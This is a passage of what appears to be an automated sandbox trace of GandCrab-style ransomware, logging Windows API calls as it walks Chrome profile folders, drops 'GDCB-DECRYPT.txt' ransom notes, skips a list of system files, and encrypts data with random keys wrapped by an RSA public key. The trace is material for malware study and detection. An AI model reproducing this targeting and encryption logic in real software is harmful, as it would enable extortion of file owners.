data\\application data\\application data\\google\\chrome\\user data\\default\\extension rules\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.406] GetLastError () returned 0x3 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.406] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\\\GDCB-DECRYPT.txt") returned 288 [0171.407] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension state\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.407] GetLastError () returned 0x3 [0171.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.407] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\\\GDCB-DECRYPT.txt") returned 283 [0171.407] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.407] GetLastError () returned 0x3 [0171.407] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Favicons") returned 263 [0171.407] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Favicons") returned 263 [0171.407] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 271 [0171.407] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Favicons-journal") returned 271 [0171.407] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 273 [0171.407] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 273 [0171.407] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\History") returned 262 [0171.407] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\History") returned 262 [0171.407] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 277 [0171.407] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 277 [0171.407] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\History-journal") returned 270 [0171.407] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\History-journal") returned 270 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.408] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\\\GDCB-DECRYPT.txt") returned 282 [0171.408] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\IndexedDB\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\indexeddb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.408] GetLastError () returned 0x3 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.408] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\\\GDCB-DECRYPT.txt") returned 286 [0171.408] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\jumplisticons\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.408] GetLastError () returned 0x3 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.408] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\\\GDCB-DECRYPT.txt") returned 289 [0171.408] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\jumplisticonsold\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.408] GetLastError () returned 0x3 [0171.408] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Last Session") returned 267 [0171.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Last Session") returned 267 [0171.409] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Last Tabs") returned 264 [0171.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Last Tabs") returned 264 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.409] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\\\GDCB-DECRYPT.txt") returned 297 [0171.409] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\local extension settings\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.409] GetLastError () returned 0x3 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.409] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\\\GDCB-DECRYPT.txt") returned 286 [0171.409] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\local storage\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.409] GetLastError () returned 0x3 [0171.409] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data") returned 265 [0171.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data") returned 265 [0171.409] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 273 [0171.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned 273 [0171.409] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 279 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned 279 [0171.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 287 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned 287 [0171.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 279 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned 279 [0171.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 273 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned 273 [0171.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 281 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 281 [0171.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Preferences") returned 266 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Preferences") returned 266 [0171.410] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 274 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 274 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 274 [0171.410] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned 274 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="desktop.ini") returned 1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="autorun.inf") returned 1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="ntuser.dat") returned 1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="iconcache.db") returned 1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="bootsect.bak") returned 1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="boot.ini") returned 1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="ntuser.dat.log") returned 1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="thumbs.db") returned -1 [0171.410] lstrcmpiW (lpString1="previews_opt_out.db", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.410] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db")) returned 0xffffffff [0171.411] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db", dwFileAttributes=0xfffffffe) returned 0 [0171.411] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0171.411] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.412] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0171.412] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.412] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0171.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.412] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0171.412] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.412] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0171.415] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x617c28) returned 1 [0171.415] CryptGetKeyParam (in: hKey=0x617c28, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0171.415] CryptEncrypt (in: hKey=0x617c28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2bb0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x2bb0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0171.415] GetLastError () returned 0x0 [0171.415] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.415] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0171.417] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x617c68) returned 1 [0171.418] CryptGetKeyParam (in: hKey=0x617c68, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0171.418] CryptEncrypt (in: hKey=0x617c68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2bc0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x2bc0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0171.418] GetLastError () returned 0x0 [0171.418] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.418] CreateFileW (lpFileName="C:\\Documents and 